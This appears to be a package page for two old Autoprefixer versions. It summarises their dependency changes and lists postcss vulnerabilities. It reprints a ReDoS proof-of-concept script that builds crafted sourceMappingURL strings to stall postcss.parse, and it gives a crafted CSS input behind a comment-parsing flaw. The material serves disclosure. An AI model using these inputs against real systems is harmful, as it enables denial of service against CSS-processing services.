Autoprefixer versions 1.0.20140103 and 1.0.20131222, both MIT-licensed tools created by Andrey Sitnik, automatically parse CSS and add necessary vendor prefixes, streamlining cross-browser compatibility based on data from Can I Use. This saves developers significant time and effort by ensuring CSS works across various browsers without manual prefixing. The core functionality remains consistent, leveraging postcss and fs-extra for CSS parsing and file system operations.
The primary differences lie in the development dependencies. Version 1.0.20140103 updates mocha from 1.16.1 to 1.16.2 and browserify from 3.13.0 to 3.18.0 compared to the previous version. These changes suggest minor improvements or bug fixes in the testing and bundling processes. While the core dependencies responsible for Autoprefixer's core functionality remain unchanged, these updates likely contribute to a more stable and efficient development workflow, ultimately benefiting users through more reliable prefixing. Developers using these build tools or contributing to Autoprefixer might find these version bumps relevant, while the core prefixing functionality remains consistent for end-users leveraging autoprefixer in their projects. The tool helps developers write cleaner, more maintainable CSS without worrying about browser-specific quirks.
All the vulnerabilities related to the version 1.0.20140103 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.